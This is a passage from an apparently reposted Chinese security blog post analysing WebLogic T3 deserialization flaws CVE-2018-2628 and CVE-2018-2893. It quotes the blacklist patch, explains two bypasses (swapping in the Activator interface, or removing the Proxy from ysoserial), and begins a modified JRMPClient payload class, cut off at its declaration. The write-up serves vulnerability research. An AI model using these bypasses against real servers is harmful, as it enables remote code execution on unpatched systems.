Java 安全之Weblogic 2018-2628&2018-2893分析
阿新 • • 發佈:2021-01-19
# Java 安全之Weblogic 2018-2628&2018-2893分析
## 0x00 前言
續上一個weblogic T3協議的反序列化漏洞接著分析該補丁的繞過方式,根據weblogic的補丁還是挺難找的,後面的分析中沒有補丁看不到weblogic修復的細節,但是也不難猜處weblogic的這些修復都是老做法,使用黑名單的方式去進行修補漏洞。
## 0x01 補丁分析
由於沒拿到補丁,這裡從廖師傅文章裡面扣除補丁的細節。
```java
protected Class> resolveProxyClass(String[] interfaces) throws IOException, ClassNotFoundException {
String[] arr$ = interfaces;
int len$ = interfaces.length;
for(int i$ = 0; i$ < len$; ++i$) {
String intf = arr$[i$];
if(intf.equals("java.rmi.registry.Registry")) {
throw new InvalidObjectException("Unauthorized proxy deserialization");
}
}
return super.resolveProxyClass(interfaces);
}
```
`weblogic.rjvm.InboundMsgAbbrev$ServerChannelInputStream`類的地方添加了一個`resolveProxyClass`方法,將`resolveProxyClass`給重寫了,添加了一個傳遞過來的資料對應的介面進行遍歷驗證,如果為`java.rmi.registry.Registry`的話就直接丟擲異常。如果不為`java.rmi.registry.Registry`就呼叫父類的`resolveProxyClass`。
## 0x02 繞過思路
在2018-2628的繞過方式其實有兩種,分別是:
1. 在補丁裡面僅僅只是限制了需要反序列化的資料為`使用java.rmi.registry.Registry`以外的類的介面,但是其實遠端物件的介面不止`java.rmi.registry.Registry`這麼一個。
廖師傅這裡提供的繞過方式是將該介面替換成`java.rmi.activation.Activator`。即可繞過。
2. ysoserial修改把Proxy部分去除掉,即可繞過補丁。這裡來思考一下為什麼Proxy部分去除就可以繞過了呢?
在前面的原生readobject分析文章裡面講到過readobject裡面會走兩個分支,反序列化的是動態代理的物件的話就會走`resolveProxyClass`分支裡面,這裡去除了Proxy部分內容,也就是說不使用動態代理的方式生成payload進行反序列化自然不會走到`resolveProxyClass`分支裡面去。
## 0x03 利用思路
後面的除錯內容,其實和前面的都是一樣的,這裡直接講講利用。
### 改寫ysoserial
利用思路一,不使用代理物件:
```java
package ysoserial.payloads;
import sun.rmi.server.UnicastRef;
import sun.rmi.transport.LiveRef;
import sun.rmi.transport.tcp.TCPEndpoint;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.PayloadTest;
import ysoserial.payloads.util.PayloadRunner;
import java.rmi.registry.Registry;
import java.rmi.server.ObjID;
import java.util.Random;
public class JRMPClient1 extends PayloadRunner implements ObjectPayload